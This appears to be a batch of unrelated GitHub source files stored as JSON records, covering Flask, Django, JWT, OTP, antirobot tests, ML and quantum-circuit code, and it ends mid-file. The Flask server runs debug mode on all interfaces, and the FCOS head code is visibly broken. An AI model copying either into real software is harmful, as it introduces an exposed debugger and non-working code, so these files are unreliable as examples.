+{"seq_id":"24773722424","text":"from flask import Flask, render_template, request, jsonify\r\nimport json, logging, os, atexit\r\n\r\n###########\r\nfrom model import BoidFlockers\r\n###################\r\napp = Flask(__name__, static_url_path='')\r\nmodel = BoidFlockers()\r\ndef updatePositions():\r\n    global flock\r\n    positions = []\r\n    for boid in flock:\r\n        boid.apply_behaviour(flock)\r\n        boid.update()\r\n        pos = boid.edges()\r\n        positions.append(pos)\r\n    return positions\r\n\r\ndef positionsToJSON(ps):\r\n    posDICT = []\r\n    for p in ps:\r\n        pos = {\r\n            \"x\" : p[0],\r\n            \"z\" : p[1],\r\n            \"y\" : p[2]\r\n        }\r\n        posDICT.append(pos)\r\n    return json.dumps(posDICT)\r\n# On IBM Cloud Cloud Foundry, get the port number from the environment variable PORT\r\n# When running this app on the local machine, default the port to 8000\r\nport = int(os.getenv('PORT', 8000))\r\n\r\n#########################\r\n@app.route('/')\r\ndef root():\r\n    return jsonify([{\"message\":\"Hello World from IBM Cloud!\"}])\r\n\r\n@app.route('/A01336625',methods=['GET','POST'])\r\ndef A01336625():\r\n    positions = model.step()\r\n    return positionsToJSON(positions)\r\n################################################################ NUEVO\r\n\r\nif __name__ == '__main__':\r\n    app.run(host='0.0.0.0', port=port, debug=True)","repo_name":"grchristian/movilidad-urbana","sub_path":"server-agentes/ejemploConexion/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13930652623","text":"from django.urls import path\n\nfrom .views import (\n    EpisodeAutocompleteView,\n    StudentAutocompleteView,\n    TagAutocompleteView,\n    TipAutocompleteView,\n    UserAutocompleteView,\n)\n\nurlpatterns = [\n    path(\n        \"user/\",\n        UserAutocompleteView.as_view(),\n        name=\"user\",\n    ),\n    path(\n        \"student/\",\n        StudentAutocompleteView.as_view(),\n        name=\"student\",\n    ),\n    path(\n        \"episode/\",\n        EpisodeAutocompleteView.as_view(),\n        name=\"episode\",\n    ),\n    path(\n        \"tag/\",\n        TagAutocompleteView.as_view(),\n        name=\"tag\",\n    ),\n    path(\n        \"tip/\",\n        TipAutocompleteView.as_view(),\n        name=\"tip\",\n    ),\n]\n","repo_name":"stanislavpol00/education","sub_path":"main/autocomplete/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17746858786","text":"import uuid\nfrom datetime import datetime\n\nimport jwt\n\nfrom user_service.config import config\n\n\ndef _encode_jwt(payload, secret):\n    return jwt.encode(payload, secret, algorithm=\"HS256\")\n\n\ndef _decode_jwt(token, secret):\n    return jwt.decode(token, secret, algorithms=[\"HS256\"])\n\n\ndef get_user_jwt_token(user_id: uuid.UUID, ttl: int = config.jwt_ttl):\n    issued_at = datetime.utcnow().timestamp()\n    expires_at = issued_at + ttl\n    token = _encode_jwt(\n        {\n            \"user_id\": str(user_id),\n            \"iss\": issued_at,\n            \"exp\": expires_at,\n        },\n        config.shared_secret,\n    )\n    return token, expires_at\n\n\ndef jwt_token_payload(token):\n    payload = _decode_jwt(token, config.shared_secret)\n\n    user_id = payload[\"user_id\"]\n    issued_at = payload[\"iss\"]\n    expires_at = payload[\"exp\"]\n\n    return user_id, issued_at, expires_at\n","repo_name":"vdnsnkv/awesome-tes","sub_path":"user_service/auth/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20416436140","text":"# coding:utf-8\nimport matplotlib.pyplot as plt\nfrom pymet.metplt import MyBasemap\nfrom pymet.io import GradsIO\nfrom datetime import datetime\n\n# read data from OpenDAP\nio = GradsIO(Echo=False)\nio.open('http://db-dods.rish.kyoto-u.ac.jp/cgi-bin/nph-dods/ncep/ncep.reanalysis.dailyavgs/pressure/hgt.2010.nc')\nio.setdim(lon=(0,357.5),lat=(0,90),lev=500,time=datetime(2010,8,1))\n\n# read 500hPa Geopotential\nz500 = io.get('hgt')\nlon, lat = z500.grid.latlon()\n\nplt.subplot(2,1,1)\nm = MyBasemap(lon=(0,360.01), lat=(0,90), xlint=60, ylint=30)#, fix_aspect=False)\nm.contour(lon, lat, z500, cint=100)\nm.fillcontinents()\nplt.title('zorder=0 (default)')\n\nplt.subplot(2,1,2)\nm = MyBasemap(lon=(0,360.01), lat=(0,90), xlint=60, ylint=30)\nm.contour(lon, lat, z500, cint=100, zorder=0)\nm.fillcontinents(zorder=1)\nplt.title('zorder=1')\n\nplt.show()\n","repo_name":"tmiyachi/pymet","sub_path":"examples/fillcontinents.py","file_name":"fillcontinents.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"37547875989","text":"from random import randint\n\nx = randint(0, 100)\ny = -1\ncount = 0\nwhile y != x:\n    y = int(input(\"Devines le nombre : \"))\n    count+=1\n    if y < x :\n        print(\"plus grand\")\n    elif y > x:\n        print(\"plus petit\")\n    else:\n        print(\"bravo!\")\n        print(f\"Il t'a fallu {count} essai(s)\")","repo_name":"jameschm/tp_python","sub_path":"TP3/tp3exo3.py","file_name":"tp3exo3.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28431261709","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\n\r\nfrom matplotlib import pyplot as plt\r\n\r\n\r\nclass LinearRegression:\r\n    def __init__(self, epochs: int = 1000, lr: float = 1e-3):\r\n        self.epochs = epochs\r\n        self.lr = lr\r\n\r\n    def fit(self, X: np.array, y: np.array):\r\n        \r\n\r\n        X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n        self.X_train = X_train\r\n        self.X_test = X_test\r\n        self.y_train = y_train\r\n        self.y_test = y_test\r\n        # Building the model\r\n        self.m = 0\r\n        self.c = 0\r\n\r\n        #L = 0.0001  # The learning Rate\r\n        #epochs = 1000  # The number of iterations to perform gradient descent\r\n\r\n        n = float(len(self.X_train)) # Number of elements in X\r\n\r\n        # Performing Gradient Descent \r\n        losses = []\r\n        for i in range(self.epochs): \r\n            y_pred = self.m*X_train + self.c  # The current predicted value of Y\r\n\r\n            residuals = y_pred - y_train\r\n            loss = np.sum(residuals ** 2)\r\n            losses.append(loss)\r\n            D_m = (-2/n) * sum(X_train * residuals)  # Derivative wrt m\r\n            D_c = (-2/n) * sum(residuals)  # Derivative wrt c\r\n            self.m = self.m + self.lr * D_m  # Update m\r\n            self.c = self.c + self.lr * D_c  # Update c\r\n            if i % 100 == 0:\r\n                print(np.mean(y_train-y_pred))\r\n\r\n    def predict(self, X):\r\n        self.pred = []\r\n        for X in self.X_test:\r\n            y_pred = self.m*X + self.c\r\n            self.pred.append(y_pred)\r\n        print(self.pred)\r\n        print(self.y_test)\r\n\r\n        y_pred = self.m*self.X_test + self.c\r\n        '''\r\n        # Calculate the Mean Absolue Error\r\n        print(\"Mean Absolute Error:\", np.mean(np.abs(y_pred - self.y_test)))\r\n\r\n        # Calculate the Mean Squared Error\r\n        print(\"Mean Squared Error:\", np.mean((y_pred - self.y_test)**2))\r\n\r\n        plt.scatter(self.X_test, self.y_test)\r\n        plt.plot([min(self.X_test), max(self.X_test)], [min(y_pred), max(y_pred)], color='red') # predicted\r\n        plt.show()\r\n        '''\r\n\r\n'''\r\n#print('GG')\r\n#iris = load_iris()\r\ndf = pd.DataFrame(iris.data, columns=iris.feature_names)\r\n#df\r\ny = df['sepal length (cm)'].values\r\nX = df['petal width (cm)'].values\r\n\r\nLiRe = LinearRegression()\r\nLiRe.__init__(lr=0.1)\r\nLiRe.fit(X,y)\r\nLiRe.predict(X)\r\n'''","repo_name":"KareszD/BEVADAT2022232","sub_path":"LinearRegressionSkeleton.py","file_name":"LinearRegressionSkeleton.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28922859211","text":"# -*- coding: utf-8 -*-\n\n__author__ = \"petter hetland\"\n__email__ = \"pehe@nmbu.no\"\n\n\n# TASK B\ndef squares_by_comp(n):  # Problem solved using list comprehension\n    return [k ** 2 for k in range(n) if k % 3 == 1]\n\n\ndef squares_by_loop(n):  # Problem solves using loops\n    squares = []\n    for k in range(n):\n        if k % 3 == 1:\n            squares.append(k ** 2)\n    return squares\n","repo_name":"pkhetland/Scientific-Python-exercises","sub_path":"Exercises/ex01_clock_patience/comp_to_loop.py","file_name":"comp_to_loop.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"7455881800","text":"import uuid\n\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework import status\n\nfrom communications.CommunicationHandler import CommunicationHandler\nfrom otpvalidation.models import Otp\nfrom survey.models import SurveyInstance\n\n\ndef send_otp(request):\n    try:\n        # id send otp based on survey id\n        otpValue = str(uuid.uuid4()).replace('-', '')[:6]\n        entity = Otp()\n        entity.otp = otpValue\n        instance = SurveyInstance.objects.filter(pk=request.GET['survey_id']).first()\n        worker = instance.health_worker_id\n\n        if worker.whatsapp_number and len(worker.whatsapp_number) > 0:\n            entity.phone_number = worker.whatsapp_number\n        else:\n            entity.phone_number = worker.phone_number\n\n        entity.email = worker.email\n        commHandler = CommunicationHandler()\n        commHandler.send_message(worker, 5, {'otp': entity.otp})\n        entity.save()\n    except Exception as e:\n        return HttpResponse(e, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n    response = {}\n    response['name'] = instance.health_worker_id.first_name\n    response['consent'] = instance.health_worker_id.is_consented\n    response['email'] = entity.email\n    response['phone_number'] = entity.phone_number\n    return JsonResponse(response)\n\ndef resend_otp(request):\n    try:\n        instance = SurveyInstance.objects.filter(pk=request.GET['survey_id']).first()\n        worker = instance.health_worker_id\n        entity = Otp.objects.filter(phone_number=worker.phone_number).order_by('-id').first()\n        if entity:\n            commHandler = CommunicationHandler()\n            commHandler.send_message(worker, 5, {'otp': entity.otp})\n    except Exception as e:\n        return HttpResponse(e, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n    response = {}\n    response['name'] = worker.first_name\n    response['consent'] = instance.health_worker_id.is_consented\n    response['email'] = entity.email\n    response['phone_number'] = entity.phone_number\n    return JsonResponse(response)\n\ndef verify_otp(request):\n    otpValue = request.GET['otp']\n    instance = SurveyInstance.objects.filter(pk=request.GET['survey_id']).first()\n    worker = instance.health_worker_id\n\n    response = {}\n    entity = Otp.objects.filter(phone_number=worker.whatsapp_number, otp=otpValue).first()\n    if not entity:\n        entity = Otp.objects.filter(phone_number=worker.phone_number, otp=otpValue).first()\n\n    if entity:\n        worker.is_consented = True\n        worker.save()\n        entity.delete()\n        response['verified'] = True\n    else:\n        response['verified'] = False\n\n    return JsonResponse(response)","repo_name":"beehyv/workforcehealthtracker","sub_path":"backend/otpvalidation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"71020282322","text":"def multmatrix(a,b):\n    # 返回矩阵a和b的乘积\n    m = len(a) # 第一个矩阵的行数\n    n = len(b[0]) # 第二个矩阵的列数\n    newmatrix = []\n    for i in range(m):\n        row = []\n        # 遍历矩阵b的每一列\n        for j in range(n):\n            sum1 = 0\n            # 对于列中的每个元素\n            for k in range(len(b)):\n                sum1 += a[i][k]*b[k][j]\n            row.append(sum1)\n        newmatrix.append(row)\n    return newmatrix\n\n\na = [[1,2,-3,-1]]\nb = [[4,-1],\n     [-2,3],\n     [6,-3],\n     [1,0]]\n\nprint(multmatrix(a,b))","repo_name":"alarm10086/python_learn_math","sub_path":"s2/p8/p8_3/multmatrix.py","file_name":"multmatrix.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29039981727","text":"import pytest\nimport time\n\nfrom antirobot.daemon.arcadia_test.util.AntirobotTestSuite import AntirobotTestSuite\nfrom antirobot.daemon.arcadia_test.util.asserts import AssertEventuallyTrue\nfrom antirobot.daemon.arcadia_test.util import (\n    VALID_L_COOKIE,\n    VALID_I_COOKIE,\n    VALID_FUID,\n    GenRandomIP,\n)\n\n\nAMNESTY_INTERVAL_SHORT = 30  # seconds\nAMNESTY_INTERVAL_MEDIUM = 10  # seconds\nAMNESTY_INTERVAL_LONG = 3600  # seconds\nREMOVE_EXPIRED_PERIOD = 1  # seconds\nREBAN_ROBOTS_PERIOD = 3  # seconds\nSYNC_LAG = 5  # seconds\nOPTIONS = {\n    \"AuthorizeByFuid\": 1,\n    \"AuthorizeByLCookie\": 1,\n    \"AuthorizeByICookie\": 1,\n    \"RemoveExpiredPeriod\": REMOVE_EXPIRED_PERIOD,\n    \"DDosAmnestyPeriod\": AMNESTY_INTERVAL_SHORT,\n    \"DDosFlag1BlockPeriod\": AMNESTY_INTERVAL_SHORT,\n    \"DDosFlag2BlockPeriod\": AMNESTY_INTERVAL_SHORT,\n    # Чтобы не банить по формуле за частые однотипные запросы\n    'DisableBansByFactors': 1,\n    'ReBanRobotsPeriod': '0s',\n}\n\n\nclass TestVerticalsConsistency1(AntirobotTestSuite):\n    num_antirobots = 3\n    options = dict(OPTIONS,\n                   AmnestyIpInterval=AMNESTY_INTERVAL_LONG)\n\n    def test_captcha_ban_eventually(self):\n        ip = GenRandomIP()\n\n        # Баним IP в одной вертикали\n        self.antirobots[0].ban(ip)\n\n        # Со временем этот IP должен оказаться забанен в остальных вертикалях\n        for antirobot in self.antirobots:\n            AssertEventuallyTrue(lambda: antirobot.is_banned(ip), secondsBetweenCalls=0.2)\n\n\nclass TestVerticalsConsistency2(AntirobotTestSuite):\n    num_antirobots = 3\n    options = OPTIONS\n\n    def test_block_eventually(self):\n        ip = GenRandomIP()\n        block_duration = 3600  # seconds\n\n        self.antirobots[0].block(ip, block_duration)\n\n        # Небольшая деталь. Метод AntirobotInstance.block(Ip) блокирует адрес на конкретной машине.\n        # Эта блокировка автоматически не пробрасывается на машину, на которой собирается информация\n        # об Ip. Чтобы это произошло, на машину должен прийти запрос от Ip. Поэтому мы обязательно\n        # должны вызвать self.antirobots[0].is_blocked() в цикле ниже.\n        for antirobot in self.antirobots:\n            AssertEventuallyTrue(lambda: antirobot.is_blocked(ip), secondsBetweenCalls=0.2)\n\n    def test_unblock_eventually(self):\n        ip = GenRandomIP()\n        block_duration = 3  # seconds\n\n        self.antirobots[0].block(ip, block_duration)\n        # Чтобы пробросить блокировку. См. комментарий в BlockEventually\n        self.antirobots[0].is_blocked(ip)\n\n        time.sleep(SYNC_LAG + block_duration + REMOVE_EXPIRED_PERIOD)\n        # По прошествии срока блокировки IP должен быть разблокирован во всех вертикалях\n        for antirobot in self.antirobots:\n            assert not antirobot.is_blocked(ip)\n\n\nclass TestVerticalsConsistencyWithLCookie(AntirobotTestSuite):\n    num_antirobots = 3\n    options = dict(OPTIONS,\n                   SpravkaIgnoreIfInRobotSet=0,\n                   AmnestyIpInterval=\"1d\",\n                   AmnestyFuidInterval=AMNESTY_INTERVAL_SHORT,\n                   AmnestyICookieInterval=AMNESTY_INTERVAL_SHORT,\n                   AmnestyLCookieInterval=AMNESTY_INTERVAL_SHORT,\n                   SpravkaExpireInterval=AMNESTY_INTERVAL_SHORT)\n\n    @pytest.mark.parametrize(\"ident_type, login_headers\", [\n        (\"lcookie\", {\"Cookie\": f\"L={VALID_L_COOKIE}\"}),\n        (\"icookie\", {\"X-Yandex-ICookie\": VALID_I_COOKIE}),\n        (\"fuid\",    {\"Cookie\": f\"fuid01={VALID_FUID}\"}),\n        (\"spravka\", {}),\n        (\"ip\",      {}),\n    ])\n    def test_captcha_unban(self, ident_type, login_headers):\n        ip = GenRandomIP()\n        if ident_type == \"spravka\":\n            login_headers[\"Cookie\"] = f\"spravka={self.get_valid_spravka()}\"\n\n        # Баним в одной вертикали\n        self.antirobots[0].ban(ip, headers=login_headers)\n        ban_time = time.time()  # примерное время бана\n\n        for antirobot in self.antirobots:\n            # делаем по 1 запросу, чтобы быстрее забанить на всех вертикалях\n            antirobot.is_banned(ip, headers=login_headers)\n\n        for antirobot in self.antirobots:\n            AssertEventuallyTrue(lambda: antirobot.is_banned(ip, headers=login_headers))\n            if login_headers:\n                assert not antirobot.is_banned(ip)\n\n        ban_rest_time = time.time() - ban_time\n        assert ban_rest_time < AMNESTY_INTERVAL_SHORT\n        time.sleep(SYNC_LAG + (AMNESTY_INTERVAL_SHORT - ban_rest_time) + REMOVE_EXPIRED_PERIOD)\n\n        # По прошествии срока должен быть разбанен во всех вертикалях, если пришел с кукой\n        # если без куки, то должен остаться забанен\n        for antirobot in self.antirobots:\n            if login_headers:\n                assert not antirobot.is_banned(ip, headers=login_headers)\n                assert not antirobot.is_banned(ip)\n            else:\n                assert antirobot.is_banned(ip)\n\n\nclass TestVerticalsConsistencyRebanRobots(AntirobotTestSuite):\n    num_antirobots = 3\n    options = dict(OPTIONS,\n                   AmnestyIpInterval=AMNESTY_INTERVAL_MEDIUM,\n                   RemoveExpiredPeriod=REMOVE_EXPIRED_PERIOD,\n                   ReBanRobotsPeriod=REBAN_ROBOTS_PERIOD)\n\n    def test_reban_robots(self):\n        ip = GenRandomIP()\n\n        # Баним IP в одной вертикали\n        self.antirobots[0].ban(ip)\n\n        # Ждём пока наступит период перебана, но ещё не протухнит старый бан\n        time.sleep(AMNESTY_INTERVAL_MEDIUM - REBAN_ROBOTS_PERIOD)\n\n        # Перебаниваем в одной вертикали\n        self.antirobots[0].ban(ip)\n\n        # Ждём момента к которому гарантированно протух бы старый бан\n        time.sleep(REBAN_ROBOTS_PERIOD + REMOVE_EXPIRED_PERIOD*2)\n\n        # IP должен быть забанен везде\n        for antirobot in self.antirobots:\n            AssertEventuallyTrue(lambda: antirobot.is_banned(ip))\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"antirobot/TestVerticalsConsistency.py","file_name":"TestVerticalsConsistency.py","file_ext":"py","file_size_in_byte":6619,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5081407953","text":"# 상길북 참고\n# defaultdict 이용\nfrom typing import List\nfrom collections import defaultdict\n\n\nclass Solution:\n    def __init__(self) -> None:\n        strs = [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]\n        self.groupAnagrams(strs)\n\n    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n        dict = defaultdict(list)\n        for word in strs:\n            key = ''.join(sorted(word))\n            dict[key].append(word)\n        return list(dict.values())\n\n\nSolution()\n","repo_name":"huckjoo/swjungle_alg","sub_path":"leetcode/49_ans.py","file_name":"49_ans.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74538941522","text":"# Modified according to repos https://github.com/tianzhi0549/FCOS, FCOS@tianzhi0549\n\nimport math\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\n\nfrom .inference import make_fcos_postprocessor\nfrom .loss import make_fcos_loss_evaluator\nfrom sfc.xcorr.xcorr import xcorr_depthwise\n\nfrom sfc.layers import Scale\n\n\nclass SFHeader(torch.nn.Module):\n    def __init__(self, cfg, in_channels, out_channels, kernel_size=3, centerness=False, scales=False):\n        \"\"\"\n        Arguments:\n            in_channels (int): number of channels of the input feature\n        \"\"\"\n        super(SFHeader, self).__init__()\n\n        self.name = name\n        self.is_centerness = centerness\n        self.is_scales = scales\n        \n        # cls_tower = []\n        kernel_tower = []\n        search_tower = []\n        for i in range(cfg.MODEL.SF.NUM_CONVS):\n            kernel_tower.append(\n                *nn.Sequential(\n                    nn.Conv2d(\n                        in_channels,\n                        in_channels,\n                        kernel_size=kernel_size,\n                        bias=False\n                    ),\n                    nn.GroupNorm(32, in_channels),\n                    nn.ReLU6(inplace=True)\n                )\n            )\n\n            search_tower.append(\n                *nn.Sequential(\n                    nn.Conv2d(\n                        in_channels,\n                        in_channels,\n                        kernel_size=kernel_size,\n                        bias=False\n                    ),\n                    nn.GroupNorm(32, in_channels),\n                    nn.ReLU6(inplace=True)\n                )\n            )\n            \n        self.kernel_conv = nn.Sequential(*kernel_tower)\n        self.search_conv = nn.Sequential(*search_tower)\n\n        self.header = nn.Conv2d(\n            in_channels, out_channels, kernel_size=3, stride=1,\n            padding=1\n        )\n        \n        if centerness:\n            self.centerness = nn.Conv2d(\n                in_channels, 1, kernel_size=3, stride=1,\n                padding=1\n            )\n\n        if centerness:\n            modules = [self[name], self.header, self.centerness]\n        else:\n            modules = [self[name], self.header]\n\n        for module in modules:\n            for l in modules.modules():\n                if isinstance(l, nn.Conv2d):\n                    torch.nn.init.normal_(l.weight, std=0.01)\n                    torch.nn.init.constant_(l.bias, 0)\n\n        # initialize the bias for focal loss\n        if scales:\n            prior_prob = cfg.MODEL.FCOS.PRIOR_PROB\n            bias_value = -math.log((1 - prior_prob) / prior_prob)\n            torch.nn.init.constant_(self.cls_logits.bias, bias_value)\n\n            self.scales = nn.ModuleList([Scale(init_value=1.0) for _ in range(5)])\n\n    def forward(self, kernels, searchs):\n        outs = []\n        if self.is_centerness:\n            centerness = []\n\n        for l, kernel, search in enumerate(zip(kernels, searchs)):\n            k = self.kernel_conv(kernel)\n            s = self.search_conv(search)\n            o = xcorr_depthwise(s, k)\n\n            if self.is_scales:\n                outs.append(torch.exp(self.scales[l](self.header(o))))\n            else:\n                outs.append(self.header(o))\n\n            if self.is_centerness:\n                centerness.append(self.centerness(o))\n\n        if self.is_scales:\n            return outs\n        else:\n            return outs, centerness\n\n\nclass FCOSModule(torch.nn.Module):\n    \"\"\"\n    Module for FCOS computation. Takes feature maps from the backbone and\n    FCOS outputs and losses. Only Test on FPN now.\n    \"\"\"\n\n    def __init__(self, cfg):\n        super(FCOSModule, self).__init__()\n\n        # head = FCOSHead(cfg, in_channels)\n\n        box_selector_test = make_fcos_postprocessor(cfg)\n\n        loss_evaluator = make_fcos_loss_evaluator(cfg)\n        self.head = head\n        self.box_selector_test = box_selector_test\n        self.loss_evaluator = loss_evaluator\n        self.fpn_strides = cfg.MODEL.FCOS.FPN_STRIDES\n\n    def forward(self, images, box_cls, box_regression, centerness, features, targets=None):\n        \"\"\"\n        Arguments:\n            images (ImageList): images for which we want to compute the predictions\n            features (list[Tensor]): features computed from the images that are\n                used for computing the predictions. Each tensor in the list\n                correspond to different feature levels\n            targets (list[BoxList): ground-truth boxes present in the image (optional)\n\n        Returns:\n            boxes (list[BoxList]): the predicted boxes from the RPN, one BoxList per\n                image.\n            losses (dict[Tensor]): the losses for the model during training. During\n                testing, it is an empty dict.\n        \"\"\"\n        # box_cls, box_regression, centerness = self.head(features)\n        locations = self.compute_locations(features)\n \n        if self.training:\n            return self._forward_train(\n                locations, box_cls, \n                box_regression, \n                centerness, targets\n            )\n        else:\n            return self._forward_test(\n                locations, box_cls, box_regression, \n                centerness, images.image_sizes\n            )\n\n    def _forward_train(self, locations, box_cls, box_regression, centerness, targets):\n        loss_box_cls, loss_box_reg, loss_centerness = self.loss_evaluator(\n            locations, box_cls, box_regression, centerness, targets\n        )\n        losses = {\n            \"loss_cls\": loss_box_cls,\n            \"loss_reg\": loss_box_reg,\n            \"loss_centerness\": loss_centerness\n        }\n        return None, losses\n\n    def _forward_test(self, locations, box_cls, box_regression, centerness, image_sizes):\n        boxes = self.box_selector_test(\n            locations, box_cls, box_regression, \n            centerness, image_sizes\n        )\n        return boxes, {}\n\n    def compute_locations(self, features):\n        locations = []\n        for level, feature in enumerate(features):\n            h, w = feature.size()[-2:]\n            locations_per_level = self.compute_locations_per_level(\n                h, w, self.fpn_strides[level],\n                feature.device\n            )\n            locations.append(locations_per_level)\n        return locations\n\n    def compute_locations_per_level(self, h, w, stride, device):\n        shifts_x = torch.arange(\n            0, w * stride, step=stride,\n            dtype=torch.float32, device=device\n        )\n        shifts_y = torch.arange(\n            0, h * stride, step=stride,\n            dtype=torch.float32, device=device\n        )\n        shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n        shift_x = shift_x.reshape(-1)\n        shift_y = shift_y.reshape(-1)\n        locations = torch.stack((shift_x, shift_y), dim=1) + stride // 2\n        return locations\n\n\nclass FCOS(nn.Module):\n    def __init__(self, cfg, in_channels):\n        self.cls = SFHeader(cfg, in_channels, 2)\n        self.box_reg = SFHeader(cfg, in_channels, 4)\n        self.calc_loss = FCOSModule(cfg)\n\n    def forward(self, images, zx, sx, targets=None):\n        box_cls, centerness = self.cls(zx, sx)\n        box_regression = self.box_reg(zx, sx)\n        loss = self.calc_loss(images, box_cls, box_regression, centerness, sx, targets)\n        return loss\n\n\ndef build_matcher(cfg, in_channels):\n    return FCOS(cfg, in_channels)\n","repo_name":"cunjif/siamfcos","sub_path":"sfc/matcher/fcos.py","file_name":"fcos.py","file_ext":"py","file_size_in_byte":7469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20956262725","text":"\"\"\" Class definition for the Quantum Operator \"\"\"\r\nimport os\r\nimport numpy as np\r\nfrom typing import *\r\nimport tensorflow as tf\r\nimport qiskit\r\nfrom qiskit import Aer\r\nfrom qiskit_aer import AerError\r\nfrom qiskit.quantum_info.operators.predicates import (is_hermitian_matrix,is_unitary_matrix)\r\nimport gc\r\n\r\n# tf.config.set_visible_devices([], 'GPU')\r\n\r\nclass QuantumOperator():\r\n  def __init__(self, \r\n              circuit_dimension: int = 16,\r\n              unitary_dimension: int = 4,\r\n              debug_log: bool = False,\r\n              draw_circuit: bool = False, \r\n              show_gpu_support: bool = False,\r\n              enable_gpu: bool = True) -> 'QuantumOperator':\r\n    \"\"\"\r\n    Defines the Quantum Operator.\r\n\r\n    The Quantum Operator handles the transformation from the classical\r\n    input into the quantum circuit.\r\n\r\n    Args:\r\n      circuit_dimension:  It defines how many qubits the circuit should\r\n                          use. The default is 16 (= 4^2) because it assumes\r\n                          an input image of 4x4.\r\n\r\n      unitary_dimension:  It defines the input qubits to the unitary\r\n                          operator. The default is 4 ( = 2^2) because it\r\n                          assumes two-qubit unitary transformations.\r\n\r\n                          The weight vector dimensions are calculated with\r\n                          this parameter. The dimensions are defined by: \r\n                          circuit_dimension - 1 x unitary_dimension^2\r\n\r\n      debug_log:          Enables debug logs for this class\r\n\r\n      draw_circuit:       Enables drawing the circuit after it is built.\r\n                          This function is not thread safe.\r\n\r\n      show_gpu_support:   It enables debug logs to indicate if the backend\r\n                          simulator supports Hardware Acceleration.\r\n\r\n      enable_gpu:         It checks if the choosen backend supports GPU.\r\n                          If GPU is enabled but the backend does not support \r\n                          it, it will run on the CPU. \r\n    \"\"\"\r\n\r\n    self.circuit_dimension = circuit_dimension\r\n    self.unitary_dimension = unitary_dimension\r\n    self.debug_log = debug_log\r\n    self.draw_circuit = draw_circuit\r\n    self.show_gpu_support = show_gpu_support\r\n    self.enable_gpu = enable_gpu\r\n  \r\n  def feature_map(self, image: np.ndarray) -> np.ndarray:\r\n    \"\"\" Maps a normalized input image to the feature map\r\n        given by x -> |Φ> = [cos(x_1*pi/2) sin(x_1*pi/2) ] ⊗ ... ⊗  [cos(x_n*pi/2) sin(x_n*pi/2) ]\r\n        where n is the number of pixels.\r\n\r\n    Args:\r\n      image:        Normalized and flatten image of size (N*N, ) \r\n  \r\n    Output:\r\n      ft_map:       Feature map of size (N*N, 2)\r\n    \"\"\"\r\n\r\n    ft_map = np.zeros((image.shape[0], 2))\r\n    for index, value in enumerate(image):\r\n      ft_map[index][0] = np.cos(np.pi / 2 * value)\r\n      ft_map[index][1] = np.sin(np.pi / 2 * value)\r\n\r\n    return ft_map\r\n  \r\n  def hermitian_matrix(self, weights: tf.Tensor, unitary_dimension: int = 4) -> tf.Tensor:\r\n    \"\"\" Generate a hermitian matrix using the weighs. \r\n\r\n        It generates a hermitian matrix from the weights where the diagonal are the first\r\n        uniary_dimension elements. The strictly upper triangular indices are built by composing\r\n        complex numbers from the remaining weights.\r\n\r\n    Args:\r\n      weights:              A tensor of size (unitary_dimension^2,) or ((unitary_dimension^2)^2,) \r\n                            for the normal/experimental and efficient circuit, respectively.          \r\n      \r\n      unitary_dimension:    Size of the diagonal of the resulting hermitian matrix. For a two-qubit unitary\r\n                            gate, the matrix is (4, 4) = 4 diagonal elements. For a four-qubit unitary gate, \r\n                            the matrix is (16, 16) = 16 diagonal elements.\r\n\r\n    Output:\r\n      Tensor:               Resulting hermitian matrix of size (unitary_dimension, unitary_dimension)\r\n\r\n    Raise:\r\n      is_hermitian_matrix:  If the resulting matrix from the weights is not hermitian, it will raise an assert error.\r\n    \"\"\"\r\n    diag = weights[:unitary_dimension]\r\n    complex_range = (weights.shape[0] - unitary_dimension) // 2 + unitary_dimension\r\n    reals = weights[unitary_dimension:complex_range]\r\n    img = weights[complex_range:]\r\n\r\n    assert reals.shape == img.shape\r\n\r\n    diag_matrix = np.matrix(np.diag(diag.numpy()))\r\n\r\n    hermitian = np.matrix(np.zeros((unitary_dimension, unitary_dimension), dtype=complex))\r\n    hermitian[np.triu_indices(unitary_dimension, 1)] = np.array([complex(a, b) for a, b in zip(reals, img)])\r\n\r\n    hermitian = hermitian + hermitian.H + diag_matrix\r\n\r\n    assert is_hermitian_matrix(hermitian)\r\n    return tf.convert_to_tensor(hermitian, 